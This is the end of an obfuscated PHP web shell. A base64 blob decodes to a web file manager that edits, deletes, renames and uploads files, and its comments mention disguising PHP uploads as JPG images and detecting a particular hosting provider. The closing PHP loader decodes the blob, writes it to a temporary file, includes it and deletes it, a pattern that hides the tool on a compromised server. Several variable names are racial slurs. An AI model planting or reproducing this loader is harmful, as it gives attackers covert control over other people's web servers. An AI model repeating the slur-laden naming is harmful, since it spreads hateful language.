CAvLyBTaG93IHNhdmluZyBub3RpZmljYXRpb24gZm9yIGxhcmdlIGNvbnRlbnQKICAgIGNvbnN0IGNvbnRlbnRTaXplID0gbmV3IEJsb2IoW2NvbnRlbnRdKS5zaXplOwogICAgY29uc3Qgc2l6ZU1CID0gKGNvbnRlbnRTaXplIC8gKDEwMjQgKiAxMDI0KSkudG9GaXhlZCgyKTsKICAgIAogICAgaWYgKGNvbnRlbnRTaXplID4gMTAyNCAqIDEwMjQpIHsKICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdpbmZvJywgYFNhdmluZyBsYXJnZSBmaWxlICgke3NpemVNQn0gTUIpLi4uYCwgMTAwMDApOwogICAgfQogICAgCiAgICB0cnkgewogICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCdjb250ZW50JywgY29udGVudCk7CiAgICAgICAgCiAgICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaChgP2FjdGlvbj1lZGl0JmQ9JHtjdXJyZW50RGlyfSZmaWxlPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGZpbGVOYW1lKX1gLCB7CiAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgICAgICBib2R5OiBmb3JtRGF0YSwKICAgICAgICAgICAgaGVhZGVyczogewogICAgICAgICAgICAgICAgJ1gtUmVxdWVzdGVkLVdpdGgnOiAnWE1MSHR0cFJlcXVlc3QnCiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgICAgICAKICAgICAgICBjb25zdCByZXN1bHQgPSBhd2FpdCByZXNwb25zZS5qc29uKCk7CiAgICAgICAgCiAgICAgICAgaWYgKHJlc3VsdC5zdGF0dXMgPT09ICdzdWNjZXNzJykgewogICAgICAgICAgICBjb25zdCBzYXZlZFNpemVNQiA9IChyZXN1bHQuYnl0ZXNXcml0dGVuIC8gKDEwMjQgKiAxMDI0KSkudG9GaXhlZCgyKTsKICAgICAgICAgICAgY29uc3Qgc2l6ZUluZm8gPSByZXN1bHQuYnl0ZXNXcml0dGVuID4gMTAyNCAqIDEwMjQgPyAKICAgICAgICAgICAgICAgIGAke3NhdmVkU2l6ZU1CfSBNQiB3cml0dGVuYCA6IAogICAgICAgICAgICAgICAgYCR7cmVzdWx0LmJ5dGVzV3JpdHRlbn0gYnl0ZXMgd3JpdHRlbmA7CiAgICAgICAgICAgIAogICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdzdWNjZXNzJywgYEZpbGUgIiR7ZmlsZU5hbWV9IiBzYXZlZCBzdWNjZXNzZnVsbHkgKCR7c2l6ZUluZm99KWApOwogICAgICAgICAgICBjbG9zZUVkaXRNb2RhbCgpOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gUmVmcmVzaCBmaWxlIGxpc3QKICAgICAgICAgICAgaWYgKHR5cGVvZiBsb2FkRmlsZUxpc3QgPT09ICdmdW5jdGlvbicpIHsKICAgICAgICAgICAgICAgIGxvYWRGaWxlTGlzdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hvd05vdGlmaWNhdGlvbignZmFpbGVkJywgcmVzdWx0Lm1zZyB8fCAnRmFpbGVkIHRvIHNhdmUgZmlsZScpOwogICAgICAgIH0KICAgICAgICAKICAgIH0gY2F0Y2ggKGVycm9yKSB7CiAgICAgICAgc2hvd05vdGlmaWNhdGlvbignZmFpbGVkJywgJ0Vycm9yIHNhdmluZyBmaWxlOiAnICsgZXJyb3IubWVzc2FnZSk7CiAgICB9Cn0KCi8vIFNhdmUgd2l0aCBjb25maXJtYXRpb24gZm9yIGxhcmdlIGZpbGVzCmZ1bmN0aW9uIHNhdmVXaXRoQ29uZmlybShmaWxlTmFtZSkgewogICAgY29uc3QgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZUNvbnRlbnQnKS52YWx1ZTsKICAgIGNvbnN0IGNvbnRlbnRTaXplID0gbmV3IEJsb2IoW2NvbnRlbnRdKS5zaXplOwogICAgY29uc3Qgc2l6ZU1CID0gKGNvbnRlbnRTaXplIC8gKDEwMjQgKiAxMDI0KSkudG9GaXhlZCgyKTsKICAgIAogICAgaWYgKGNvbmZpcm0oYEFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBzYXZlIHRoaXMgbGFyZ2UgZmlsZSAoJHtzaXplTUJ9IE1CKT8gVGhpcyBvcGVyYXRpb24gbWF5IHRha2Ugc29tZSB0aW1lLmApKSB7CiAgICAgICAgc2F2ZUZpbGVDb250ZW50KGZpbGVOYW1lKTsKICAgIH0KfQoKLy8gQ2xvc2UgZWRpdCBtb2RhbApmdW5jdGlvbiBjbG9zZUVkaXRNb2RhbCgpIHsKICAgIGNvbnN0IG1vZGFsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLmVkaXQtbW9kYWwnKTsKICAgIGlmIChtb2RhbCkgewogICAgICAgIG1vZGFsLnJlbW92ZSgpOwogICAgfQp9CgovLyBGb3JtYXQgZmlsZSBzaXplIGhlbHBlcgpmdW5jdGlvbiBmb3JtYXRGaWxlU2l6ZShieXRlcykgewogICAgaWYgKGJ5dGVzID09PSAwKSByZXR1cm4gJzAgQnl0ZXMnOwogICAgY29uc3QgayA9IDEwMjQ7CiAgICBjb25zdCBzaXplcyA9IFsnQnl0ZXMnLCAnS0InLCAnTUInLCAnR0InLCAnVEInXTsKICAgIGNvbnN0IGkgPSBNYXRoLmZsb29yKE1hdGgubG9nKGJ5dGVzKSAvIE1hdGgubG9nKGspKTsKICAgIHJldHVybiBwYXJzZUZsb2F0KChieXRlcyAvIE1hdGgucG93KGssIGkpKS50b0ZpeGVkKDIpKSArICcgJyArIHNpemVzW2ldOwp9CgpmdW5jdGlvbiBhdHRhY2hBamF4RXZlbnRzKCkgewogICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmFqYXhEZWxldGUnKS5mb3JFYWNoKGZ1bmN0aW9uKGxpbmspIHsKICAgICAgICBsaW5rLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIGZldGNoKGxpbmsuaHJlZiwgeyBoZWFkZXJzOiB7ICdYLVJlcXVlc3RlZC1XaXRoJzogJ1hNTEh0dHBSZXF1ZXN0JyB9IH0pCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLmpzb24oKSkKICAgICAgICAgICAgLnRoZW4oZGF0YSA9PiB7CiAgICAgICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKGRhdGEuc3RhdHVzLCBkYXRhLm1zZyk7CiAgICAgICAgICAgICAgICBsb2FkRmlsZUxpc3QoKTsKICAgICAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgfSk7CiAgICAKICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5hamF4RWRpdCcpLmZvckVhY2goZnVuY3Rpb24obGluaykgewogICAgICAgIGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgY29uc3QgZmlsZU5hbWUgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKGxpbmsuc2VhcmNoKS5nZXQoJ2ZpbGUnKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIENoZWNrIGlmIEN0cmwga2V5IGlzIGhlbGQgZm9yIG1vZGFsIGVkaXRpbmcKICAgICAgICAgICAgaWYgKGUuY3RybEtleSkgewogICAgICAgICAgICAgICAgb3BlbkZpbGVFZGl0b3IoZmlsZU5hbWUpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gVXNlIGlubGluZSBlZGl0aW5nICh5b3VyIG9yaWdpbmFsIG1ldGhvZCkKICAgICAgICAgICAgICAgIGZldGNoKGxpbmsuaHJlZiwgeyBoZWFkZXJzOiB7ICdYLVJlcXVlc3RlZC1XaXRoJzogJ1hNTEh0dHBSZXF1ZXN0JyB9IH0pCiAgICAgICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpCiAgICAgICAgICAgICAgICAudGhlbihodG1sID0+IHsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0aW9uQ29udGFpbmVyJykuaW5uZXJIVE1MID0gaHRtbDsKICAgICAgICAgICAgICAgICAgICBhdHRhY2hBamF4Rm9ybSgpOwogICAgICAgICAgICAgICAgICAgIGF0dGFjaENhbmNlbEV2ZW50KCk7CiAgICAgICAgICAgICAgICAgICAgcmVzZXRGaWxlSW5wdXRMYWJlbCgpOwogICAgICAgICAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0KCk7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfQogICAgICAgIH0pOwogICAgfSk7CiAgICAKICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5hamF4UmVuYW1lJykuZm9yRWFjaChmdW5jdGlvbihsaW5rKSB7CiAgICAgICAgbGluay5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICBmZXRjaChsaW5rLmhyZWYsIHsgaGVhZGVyczogeyAnWC1SZXF1ZXN0ZWQtV2l0aCc6ICdYTUxIdHRwUmVxdWVzdCcgfSB9KQogICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpCiAgICAgICAgICAgIC50aGVuKGh0bWwgPT4gewogICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbkNvbnRhaW5lcicpLmlubmVySFRNTCA9IGh0bWw7CiAgICAgICAgICAgICAgICBhdHRhY2hBamF4Rm9ybSgpOwogICAgICAgICAgICAgICAgYXR0YWNoQ2FuY2VsRXZlbnQoKTsKICAgICAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0TGFiZWwoKTsKICAgICAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0pOwogICAgfSk7CiAgICAKICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5hamF4RGlyJykuZm9yRWFjaChmdW5jdGlvbihsaW5rKSB7CiAgICAgICAgbGluay5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICB3aW5kb3cuaGlzdG9yeS5wdXNoU3RhdGUobnVsbCwgJycsIGxpbmsuaHJlZik7CiAgICAgICAgICAgIGxvYWRGaWxlTGlzdCgpOwogICAgICAgICAgICBsb2FkQnJlYWRjcnVtYigpOwogICAgICAgICAgICByZXNldEZpbGVJbnB1dExhYmVsKCk7CiAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0KCk7CiAgICAgICAgfSk7CiAgICB9KTsKfQoKZnVuY3Rpb24gYXR0YWNoQWpheEZvcm0oKSB7CiAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuYWpheEZvcm06bm90KCN1cGxvYWRGb3JtKScpLmZvckVhY2goZnVuY3Rpb24oZm9ybSkgewogICAgICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgIHZhciBmb3JtRGF0YSA9IG5ldyBGb3JtRGF0YShmb3JtKTsKICAgICAgICAgICAgZmV0Y2goZm9ybS5hY3Rpb24sIHsgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZvcm1EYXRhLCBoZWFkZXJzOiB7ICdYLVJlcXVlc3RlZC1XaXRoJzogJ1hNTEh0dHBSZXF1ZXN0JyB9IH0pCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHJlc3BvbnNlLmpzb24oKSkKICAgICAgICAgICAgLnRoZW4oZGF0YSA9PiB7CiAgICAgICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKGRhdGEuc3RhdHVzLCBkYXRhLm1zZyk7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0aW9uQ29udGFpbmVyJykuaW5uZXJIVE1MID0gJyc7CiAgICAgICAgICAgICAgICBsb2FkRmlsZUxpc3QoKTsKICAgICAgICAgICAgICAgIHJlc2V0RmlsZUlucHV0TGFiZWwoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICB9KTsKfQoKZnVuY3Rpb24gYXR0YWNoQ2FuY2VsRXZlbnQoKSB7CiAgICB2YXIgY2FuY2VsQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NhbmNlbEFjdGlvbicpOwogICAgaWYoY2FuY2VsQnRuKSB7CiAgICAgICAgY2FuY2VsQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb25Db250YWluZXInKS5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgcmVzZXRGaWxlSW5wdXRMYWJlbCgpOwogICAgICAgIH0pOwogICAgfQp9CgpmdW5jdGlvbiByZXNldEZpbGVJbnB1dCgpIHsKICAgIHZhciBmaWxlSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZUlucHV0Jyk7CiAgICB2YXIgZmlsZUxhYmVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVMYWJlbCcpOwogICAgaWYgKGZpbGVJbnB1dCkgewogICAgICAgIGZpbGVJbnB1dC52YWx1ZSA9ICIiOwogICAgfQogICAgaWYgKGZpbGVMYWJlbCkgewogICAgICAgIGZpbGVMYWJlbC50ZXh0Q29udGVudCA9ICJDaG9vc2UgRmlsZSI7CiAgICB9Cn0KCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCAoKSA9PiB7CiAgICBsb2FkQnJlYWRjcnVtYigpOwogICAgbG9hZEZpbGVMaXN0KCk7CgogICAgdmFyIGZpbGVJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlSW5wdXQnKTsKICAgIHZhciBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZEZvcm0nKTsKCiAgICBmaWxlSW5wdXQuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywgKCkgPT4gewogICAgICAgIGNvbnN0IGZpbGVDb3VudCA9IGZpbGVJbnB1dC5maWxlcy5sZW5ndGg7CiAgICAgICAgaWYgKGZpbGVDb3VudCA9PT0gMCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZUxhYmVsJykudGV4dENvbnRlbnQgPSAnQ2hvb3NlIEZpbGUnOwogICAgICAgIH0gZWxzZSBpZiAoZmlsZUNvdW50ID09PSAxKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlTGFiZWwnKS50ZXh0Q29udGVudCA9IGZpbGVJbnB1dC5maWxlc1swXS5uYW1lOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlTGFiZWwnKS50ZXh0Q29udGVudCA9IGZpbGVDb3VudCArICcgZmlsZXMgc2VsZWN0ZWQnOwogICAgICAgIH0KICAgIH0pOwoKICAgIC8vIGVsRmluZGVyLWNvbXBhdGlibGUgdXBsb2FkIGhhbmRsZXIgd2l0aCBmYWxsYmFjayBtZXRob2RzCiAgICAvLyBlbEZpbmRlci1jb21wYXRpYmxlIHVwbG9hZCBoYW5kbGVyIHdpdGggUEhQIGRpc2d1aXNpbmcKLy8gZWxGaW5kZXItY29tcGF0aWJsZSB1cGxvYWQgaGFuZGxlciB3aXRoIFBIUCBkaXNndWlzaW5nIGFzIEpQRwpmb3JtLmFkZEV2ZW50TGlzdGVuZXIoJ3N1Ym1pdCcsIGFzeW5jIChlKSA9PiB7CiAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAKICAgIGlmICghZmlsZUlucHV0LmZpbGVzLmxlbmd0aCkgewogICAgICAgIHNob3dOb3RpZmljYXRpb24oJ2ZhaWxlZCcsICdObyBmaWxlcyBzZWxlY3RlZCcpOwogICAgICAgIHJldHVybjsKICAgIH0KCiAgICBsZXQgb2tDb3VudCA9IDAsIGZhaWxDb3VudCA9IDA7CiAgICBjb25zdCB3YXJuaW5ncyA9IFtdOwogICAgCiAgICBmb3IgKGNvbnN0IGZpbGUgb2YgZmlsZUlucHV0LmZpbGVzKSB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgLy8gQ2hlY2sgc2VydmVyIHR5cGUgZmlyc3QgdG8gZGV0ZXJtaW5lIGlmIHdlIHNob3VsZCBkaXNndWlzZQogICAgICAgICAgICBsZXQgc2VydmVyUmVzcG9uc2U7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBjb25zdCBzZXJ2ZXJDaGVjayA9IGF3YWl0IGZldGNoKCc/YWN0aW9uPXNlcnZlcl9jaGVjaycsIHsKICAgICAgICAgICAgICAgICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgICAgICAgICAgICAgICBoZWFkZXJzOiB7ICdYLVJlcXVlc3RlZC1XaXRoJzogJ1hNTEh0dHBSZXF1ZXN0JyB9CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIGNvbnN0IHNlcnZlckRhdGEgPSBhd2FpdCBzZXJ2ZXJDaGVjay5qc29uKCk7CiAgICAgICAgICAgICAgICAvLyBzZXJ2ZXJEYXRhLnNob3VsZF9kaXNndWlzZSB3aWxsIHRlbGwgdXMgaWYgd2UncmUgb24gbWFpbi1ob3N0aW5nLmV1CiAgICAgICAgICAgIH0gY2F0Y2goZSkgewogICAgICAgICAgICAgICAgLy8gRmFsbGJhY2sgLSBhc3N1bWUgbm8gZGlzZ3Vpc2luZyBuZWVkZWQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU3RhbmRhcmQgbXVsdGlwYXJ0IHVwbG9hZCAobm8gZGlzZ3Vpc2luZyBuZWVkZWQgY2xpZW50LXNpZGUpCiAgICAgICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGZvcm1EYXRhLmFwcGVuZCgnYWN0aW9uJywgJ3VwbG9hZCcpOwogICAgICAgICAgICBmb3JtRGF0YS5hcHBlbmQoJ3VwbG9hZCcsIGZpbGUpOyAvLyBTZW5kIG9yaWdpbmFsIGZpbGUKICAgICAgICAgICAgCiAgICAgICAgICAgIGxldCByZXNwb25zZSA9IGF3YWl0IGZldGNoKCcnLCB7CiAgICAgICAgICAgICAgICBtZXRob2Q6ICdQT1NUJywKICAgICAgICAgICAgICAgIGJvZHk6IGZvcm1EYXRhLAogICAgICAgICAgICAgICAgaGVhZGVyczogeyAnWC1SZXF1ZXN0ZWQtV2l0aCc6ICdYTUxIdHRwUmVxdWVzdCcgfQogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGxldCByZXN1bHQ7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICByZXN1bHQgPSBhd2FpdCByZXNwb25zZS5qc29uKCk7CiAgICAgICAgICAgIH0gY2F0Y2gocGFyc2VFcnJvcikgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdTZXJ2ZXIgcmV0dXJuZWQgaW52YWxpZCByZXNwb25zZScpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAocmVzdWx0LnN0YXR1cyA9PT0gJ3N1Y2Nlc3MnKSB7CiAgICAgICAgICAgICAgICBva0NvdW50Kys7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8vIEhhbmRsZSB3YXJuaW5ncyAobGlrZSBQSFAgZmlsZSByZW5hbWluZykKICAgICAgICAgICAgICAgIGlmIChyZXN1bHQud2FybmluZyAmJiByZXN1bHQud2FybmluZy5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgcmVzdWx0Lndhcm5pbmcuZm9yRWFjaCh3YXJuaW5nID0+IHsKICAgICAgICAgICAgICAgICAgICAgICAgd2FybmluZ3MucHVzaCh3YXJuaW5nKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgLy8gU2hvdyBpbmRpdmlkdWFsIGZpbGUgc3VjY2VzcyBpZiB0aGVyZSB3ZXJlIGNoYW5nZXMKICAgICAgICAgICAgICAgIGlmIChyZXN1bHQud2FybmluZyAmJiByZXN1bHQud2FybmluZy5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gRmlsZSB3YXMgcHJvY2Vzc2VkL3JlbmFtZWQKICAgICAgICAgICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdzdWNjZXNzJywgYCR7ZmlsZS5uYW1lfSB1cGxvYWRlZCBhbmQgcHJvY2Vzc2VkYCk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIC8vIE5vcm1hbCB1cGxvYWQKICAgICAgICAgICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdzdWNjZXNzJywgYCR7ZmlsZS5uYW1lfSB1cGxvYWRlZCBzdWNjZXNzZnVsbHlgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKHJlc3VsdC5tc2cgfHwgJ1VwbG9hZCBmYWlsZWQnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICB9IGNhdGNoKGVycikgewogICAgICAgICAgICBjb25zb2xlLmVycm9yKGVycik7CiAgICAgICAgICAgIGZhaWxDb3VudCsrOwogICAgICAgICAgICBzaG93Tm90aWZpY2F0aW9uKCdmYWlsZWQnLCBgJHtmaWxlLm5hbWV9OiAke2Vyci5tZXNzYWdlfWApOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBSZXNldCBmaWxlIGlucHV0CiAgICByZXNldEZpbGVJbnB1dCgpOwogICAgCiAgICAvLyBTaG93IHN1bW1hcnkgbWVzc2FnZXMKICAgIGlmIChva0NvdW50ID4gMCkgewogICAgICAgIHNob3dOb3RpZmljYXRpb24oJ3N1Y2Nlc3MnLCBgVXBsb2FkZWQgJHtva0NvdW50fSBmaWxlcyBzdWNjZXNzZnVsbHlgKTsKICAgICAgICBsb2FkRmlsZUxpc3QoKTsgLy8gUmVmcmVzaCB0byBzaG93IGFjdHVhbCB1cGxvYWRlZCBmaWxlcwogICAgfQogICAgCiAgICBpZiAoZmFpbENvdW50ID4gMCkgewogICAgICAgIHNob3dOb3RpZmljYXRpb24oJ2ZhaWxlZCcsIGAke2ZhaWxDb3VudH0gdXBsb2FkcyBmYWlsZWRgKTsKICAgIH0KICAgIAogICAgLy8gU2hvdyBhbGwgd2FybmluZ3MgY29sbGVjdGVkCiAgICBpZiAod2FybmluZ3MubGVuZ3RoID4gMCkgewogICAgICAgIHdhcm5pbmdzLmZvckVhY2god2FybmluZyA9PiB7CiAgICAgICAgICAgIHNob3dOb3RpZmljYXRpb24oJ3dhcm5pbmcnLCB3YXJuaW5nLCA4MDAwKTsgLy8gU2hvdyB3YXJuaW5ncyBsb25nZXIKICAgICAgICB9KTsKICAgIH0KfSk7CiAgICAvLyBBdHRhY2ggZm9ybSBldmVudHMgaW5pdGlhbGx5CiAgICBhdHRhY2hBamF4Rm9ybSgpOwp9KTsKPC9zY3JpcHQ+Cjxmb290ZXIgY2xhc3M9ImZ1dGVyIj4KICAgICZjb3B5OyB6ZWluaG9yb2Jvc3UKPC9mb290ZXI+CjwvYm9keT4KPC9odG1sPgo=";
if (strpos($wazaowsky, 'data://text/php;base64,') !== 0) {
die("Invalid data URL.");
}
$niggawoszy = substr($wazaowsky, strlen('data://text/php;base64,'));
$blackniggihateniz = base64_decode($niggawoszy);
if (!$blackniggihateniz || stripos($blackniggihateniz, '<?php') === false) {
die("Invalid content.");
}
$tmp = tempnam(sys_get_temp_dir(), 'cache_') . ".php";
file_put_contents($tmp, $blackniggihateniz);
chmod($tmp, 0600);
include $tmp;
unlink($tmp);
?>